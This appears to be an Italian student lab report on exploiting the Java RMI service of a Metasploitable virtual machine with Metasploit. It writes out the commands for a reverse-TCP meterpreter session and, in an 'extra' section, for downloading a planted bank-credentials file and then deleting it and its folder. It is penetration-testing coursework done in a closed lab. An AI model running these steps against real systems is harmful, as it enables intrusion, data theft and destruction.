

Claudio De cicco
9/12/2022

Report attacco a servizio vulnerabile Java-RMI

Prima di iniziare l'attacco tramite msf console vado a configurare le due macchine con gli ip suggeriti dall'esercizio.

```
to access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0:
    Link encap:Ethernet  HWaddr 08:00:27:f0:63:36
    inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
    inet6 addr: fe80::a00:27ff:fe00:6336/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:27 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:0 (0.0 B)  TX bytes:2954 (2.8 KB)
    Base address:0xd020 Memory:f0200000-f0220000

lo:
    Link encap:Local Loopback
    inet addr:127.0.0.1  Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING  MTU:16436  Metric:1
    RX packets:91 errors:0 dropped:0 overruns:0 frame:0
    TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:19301 (18.8 KB)  TX bytes:19301 (18.8 KB)

File Actions Edit View Help
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.11.111  netmask 255.255.255.0  broadcast 192.168.11.255
    ether 08:00:27:22:46:4f  txqueuelen 1000  (Ethernet)
    RX packets 55  bytes 4752 (4.6 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 33  bytes 6197 (6.0 KiB)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop txqueuelen 1000  (Local Loopback)
    RX packets 4  bytes 240 (240.0 B)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 4  bytes 240 (240.0 B)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

A questo punto avvio msfconsole (console di Metasploit,Framework open-source per pen testing e sviluppo di exploit) e vado a ricercare un exploit per il servizio che voglio andare ad attaccare.

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes   Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
```

Scelgo di usare la riga numero uno, in questo caso avrei potuto copiare e incollare tutto il path di seguito a “use”, ma per praticità ho semplicemente fatto “use 1”(1 si riferisce alla riga che voglio andare a selezionare). Vado a controllare le opzioni dell’exploit selezionato con show option.

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes              yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     127.0.0.1        yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Per questo exploit ho bisogno di settare RHOSTS e LHOSTS, rispettivamente con ip del bersaglio e ip dell'attaccante.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit                                          |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

Come visto in precedenza nell'exploit è già presente un payload con shell meterpreter, visto che è quello che voglio non la modifico cercandone un'altra tramite show payloads e vado ad avviare l'exploit con il comando "run". Che mi aprirà una sessione meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/qBMtE2UpWP
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:59513) at 2022-12-09 04:03:34 -0500

meterpreter > 
```

Come richiesto da esercizio vado a controllare la configurazione di rete.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fef0:6336
IPv6 Netmask : ::

meterpreter > 
```

Per le informazioni sulla tabella di routing sono andato a cercare il comando di meterpreter tramite l'help, una volta trovato vado a lanciare il comando.

Command	Description
ifconfig	Display interfaces
ipconfig	Display interfaces
portfwd	Forward a local port to a remote service
resolve	Resolve a set of host names on the target
route	View and modify the routing table

```
meterpreter > route
IPv4 network routes


| Subnet         | Netmask       | Gateway | Metric | Interface |
|----------------|---------------|---------|--------|-----------|
| 127.0.0.1      | 255.0.0.0     | 0.0.0.0 |        |           |
| 192.168.11.112 | 255.255.255.0 | 0.0.0.0 |        |           |


IPv6 network routes


| Subnet                   | Netmask | Gateway | Metric | Interface |
|--------------------------|---------|---------|--------|-----------|
| ::1                      | ::      | ::      |        |           |
| fe80::a00:27ff:fef0:6336 | ::      | ::      |        |           |


meterpreter >
```

EXTRA

Come extra ho ipotizzato che il target avesse una cartella con un file di testo in cui conservava dati relativi ad un account bancario, riuscirò a rubare il file?

Per prima cosa vado a creare ovviamente cartella e file sulla macchina bersaglio.

```
msfadmin@metasploitable:/home$ sudo mkdir Accessi Banca
[sudo] password for msfadmin:
msfadmin@metasploitable:/home$ ls
Accessi Banca ftp msfadmin service user
msfadmin@metasploitable:/home$
```

```
msfadmin@metasploitable:/home/Accessi$ ls
BancaIntesa.txt
msfadmin@metasploitable:/home/Accessi$ _
Frallpollogmail.com
GtKn8.spl
```

A questo punto posso andare a lavorare con meterpreter per vedere se potevo andare a rubare il file. Per prima cosa vado a cercare la cartella

```
meterpreter > pwd
/home
meterpreter > ls
Listing: /home


| Mode             | Size | Type | Last modified             | Name           |
|------------------|------|------|---------------------------|----------------|
| 040666/rw-rw-rw- | 4096 | dir  | 2022-12-09 04:11:11 -0500 | <b>Accessi</b> |
| 040666/rw-rw-rw- | 4096 | dir  | 2022-12-09 04:09:15 -0500 | Banca          |
| 040666/rw-rw-rw- | 4096 | dir  | 2010-03-17 10:08:02 -0400 | ftp            |
| 040666/rw-rw-rw- | 4096 | dir  | 2022-11-25 04:23:31 -0500 | msfadmin       |
| 040666/rw-rw-rw- | 4096 | dir  | 2010-04-16 02:16:02 -0400 | service        |
| 040666/rw-rw-rw- | 4096 | dir  | 2010-05-07 14:38:06 -0400 | user           |


```

Una volta trovata una cartella interessante vado a vedere cosa c'è dentro. Sembrerebbe essere un file interessante quindi provo a scaricarlo sul mio computer.

```
meterpreter > cd Accessi
meterpreter > ls
Listing: /home/Accessi

Mode                Size  Type      Last modified            Name
----                -
100666/rw-rw-rw-   30   fil       2022-12-09 04:11:11 -0500 BancaIntesa.txt

meterpreter > download BancaIntesa.txt
[*] Downloading: BancaIntesa.txt -> /home/kali/BancaIntesa.txt
[*] Downloaded 30.00 B of 30.00 B (100.0%): BancaIntesa.txt -> /home/kali/BancaIntesa.txt
[*] download : BancaIntesa.txt -> /home/kali/BancaIntesa.txt
meterpreter >
```

Scaricato con successo vado a seguire il percorso indicato per cercare il file e andarlo a leggere.

```
(kali@kali)-[~]
└─$ ls
BancaIntesa.txt  Downloads  gameshell-save.sh  index.html  Pictures  reset.txt
Desktop         gameshell   gameshell.sh       KQmnhLnE.jpeg  Public   Templates
Documents       gameshell.1 hydra.restore      Music        report1  Videos

Fra1lpollogmail.com
GtKn8.spl
```

Furto avvenuto con successo! Non contento come ulteriore danno vado a eliminare il file rubato e anche la cartella dove era presente sulla macchina bersaglio.

```
Mode                Size  Type      Last modified            Name
----                -
100666/rw-rw-rw-   30   fil       2022-12-09 04:11:11 -0500 BancaIntesa.txt

meterpreter > rm BancaIntesa.txt
meterpreter > LS
[-] Unknown command: LS
meterpreter > ls
No entries exist in /home/Accessi
meterpreter >

meterpreter > rmdir Accessi
Removing directory: Accessi
meterpreter > ls
Listing: /home

Mode                Size  Type      Last modified            Name
----                -
040666/rw-rw-rw-   4096  dir       2022-12-09 04:09:15 -0500 Banca
040666/rw-rw-rw-   4096  dir       2010-03-17 10:08:02 -0400 ftp
040666/rw-rw-rw-   4096  dir       2022-11-25 04:23:31 -0500 msfadmin
040666/rw-rw-rw-   4096  dir       2010-04-16 02:16:02 -0400 service
040666/rw-rw-rw-   4096  dir       2010-05-07 14:38:06 -0400 user
```